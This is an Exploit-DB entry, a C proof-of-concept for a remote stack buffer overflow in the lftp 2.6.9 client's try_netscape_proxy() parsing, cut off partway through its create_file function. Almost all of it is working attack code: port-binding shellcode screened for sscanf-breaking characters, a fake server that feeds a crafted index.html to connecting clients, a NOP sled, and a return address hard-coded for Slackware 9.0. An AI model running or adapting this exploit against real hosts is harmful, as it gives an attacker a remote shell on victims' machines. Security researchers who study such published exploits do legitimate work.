Exploit-DB #143
Description: lftp 2.6.9 - Remote Stack Overflow
Type: remote
Platform: linux
Date: 2004-01-14
Author: Li0n7

Exploit:
/*
 * lftp remote stack-based overflow exploit by Li0n7 voila fr
 *
 * Vulnerability discovered by Ulf Harnhammar Ulf.Harnhammar.9485 student uu se
 *
 * Lftp versions later than 2.6.10 are prone to a remotly exploitable stack-based
 * overflow in try_netscape_proxy() and try_squid_eplf( (src/HttpDir.cc). This
 * bad coded proof-of-concept demonstrates the exploitation by exploiting the
 * vulnerable function try_netscape_proxy() (HttpDir.cc:358) and it needs more targets
 * to be efficient. Please note that this vulnerability is really hard to exploit
 * since lots of parameters come into play and are different from a platform to another,
 * for we have to overwrite some variables and registers before overwriting eip.
 * With some time and lot of patience, you should find your own parameters by using
 * GDB. Params to edit are marked with a '!' in the POC code. Moreover, I have edited
 * Bighawk's port binding shellcode not to contain any white character such as \r,\t,\v,
 * \f,\n or \20 because we are exploiting a sscanf function.
 *
 * usage: ./lftp-exp [-f <path>][-p <port>][-r <ret>][-t <target>]
 * -f <path>: create <path>index.html
 * -p <port>: run a fake lftp server on port <port> (default: 80)
 * -r <ret>: return address you would like to use
 * -t <target>: choose the target among the platforms available
 * Platforms supported are:
 * num: 0 - slack 9.0 - 0xbffff770
 *
 * For instance: ./lftp-exp -p 80 -t 0
 * ./lftp-exp -f / -t 0
 *
 * A poil !
 */

#include <stdio.h>
#include <unistd.h>
#include <netdb.h>
#include <netinet/in.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>

#define BUFFERSIZE 117 /*!*/
#define SIZE 256

#define D_BACK 26112
#define D_RET 0xbffff770
#define D_PORT 80

#define DUMMY1 0xbffff140 /*!*/
#define DUMMY2 0xbffff810 /*!*/

#define OK "cd ok, cwd=/\n"


/* Edited bighawk 78 bytes portbinding shellcode */
/* size: 80 bytes */
/* Does not contain any white character i.e \r,\t,\v,\f,\n,\20 */

char shellcode[] =
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0"
"\x66\x52\x50\xcd\x80\x43\x66\x53\x89\xe1\x6a\x10"
"\x51\x50\x89\xe1\x52\x50\xb0\x66\xcd\x80\x89\xe1"
"\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x89"
"\xd9\x93\xb0\x3f\xcd\x80\x49\x79\xf9\x52\x68\x6e"
"\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53"
"\x89\xe1\xb0\x28\x2c\x1d\xcd\x80";

char badc0ded[] =
{0x20,0x09,0x0a,0x0b,0x0c,0x0d,0x00};

char *lftp_versions[] =
{
  "lftp/2.3",
  "lftp/2.4.9",
  "lftp/2.5.2",
  "lftp/2.6.0",
  "lftp/2.6.3",
  "lftp/2.6.4",
  "lftp/2.6.5",
  "lftp/2.6.6",
  "lftp/2.6.7",
  "lftp/2.6.8",
  "lftp/2.6.9",
   
};

unsigned long ret_addr = D_RET;

int back_connection(long host);
int check_shellcode(char *host);
void check_version();
char * build(char *host);
int create_file(char *path);
void wait_connection(int port);
long resolve_host(u_char *host_name);
void die(char *argv);

struct os_ret_addr
{
  int num;
  char *plat;
  long ret;
};

struct os_ret_addr exp_os[]=
{
  {0,"slack 9.0",0xbffff770},
  {0,NULL,0}
};


int
main(int argc,char *argv[])
{
  int i, option, port = D_PORT;
  long host = 0;
  char * option_list = "f:p:r:t:", path[128];

  opterr = 0;

  if (argc < 2) die(argv[0]);
  while((option = getopt(argc,argv,option_list)) != -1)
    switch(option)
    {
      case 'f':
      strncpy(path,optarg,sizeof(path)-1);
      path[sizeof(path)-1] = '\0';
      create_file(path);
      return 0;
      case 'p':
      port = atoi(optarg);
      if(port > 65535 || port < 0) exit(-1);
      break;
      case 'r':
      ret_addr = atol(optarg);
      if(ret_addr > 0xbfffffff || ret_addr < 0x00000000) exit(1);
      break;
      case 't':
      for(i=0; exp_os[i].plat != NULL; i++)
      if(atoi(optarg) > i || atoi(optarg) < 0)
      {
        fprintf(stderr," Platforms supported are:\n");
        for(i=0; exp_os[i].plat != NULL; i++)
          fprintf(stderr," num: %i - %s - 0x%x\n",i,exp_os[i].plat,exp_os[i].ret);
          exit(1);
      }
      ret_addr = exp_os[atoi(optarg)].ret;
      break;
      case '?':
      fprintf(stderr,"[-] option \'%c\' invalid\n",optopt);
      die(argv[0]);
    }
 
  wait_connection(port);
  return 0;
}


int
check_shellcode(char *host)
{
  int i,j;
  for(i=0;i<strlen(shellcode);i++)
    for(j=0;j<strlen(badc0ded);j++)
      if(shellcode[i] == badc0ded[j])
      {
      fprintf(stderr,"[%s] badc0ded shellcode!\n",host);
      return -1;
      }
  return 0;
}


void
check_version(char *version)
{
  int i;
  for(i=0;i<sizeof(lftp_versions);i++)
    if(!strcmp(lftp_versions[i],version))
    {
      fprintf(stdout,"(vulnerable).\n");
      return;
    }
  fprintf(stdout,"(not vulnerable).\n");
  return;
}


char
*build(char *host)
{
  char *buffer,*ptr;
  int i;
  unsigned long *addr_ptr;

  fprintf(stdout,"[%s] Building evil string to send (using ret 0x%x)...\n",host,ret_addr);

  buffer = (char *)malloc(SIZE+1);

  if(!buffer)
  {
    fprintf(stderr,"[-] Can't allocate memory,exiting...\n");
    exit(1);
  }

  ptr = buffer;
  memset(ptr,0x90,BUFFERSIZE-strlen(shellcode));
  ptr += BUFFERSIZE-strlen(shellcode);

  if((i = check_shellcode(host)) < 0) exit(1);

  for(i=0;i<strlen(shellcode);i++)
    *ptr++ = shellcode[i];

  /* You might need to modify the padding too */
  addr_ptr = (long *)ptr;
  for(i=0;i<24;i++)
   *(addr_ptr++) = DUMMY1;
  for(i=0;i<8;i++)
   *(addr_ptr++) = DUMMY2;
  *(addr_ptr++) = ret_addr; /* EIP */
  *(addr_ptr++) = DUMMY2;

  ptr = (char *)addr_ptr;
  *ptr = 0x0;
  return buffer;
}


int
create_file(char *path)
{
  int fd;
  char buffer[512], file[256];
  ssize_t written;

  memset(file,0,256);
  memset(buffer,0,512);

  strcat(file,path);
  strcat(file,"index.html");

  fd = open(file,O_WRONLY | O_CREAT | O_TRUNC,0644);
  if(fd < 0)
  {
    fprintf(std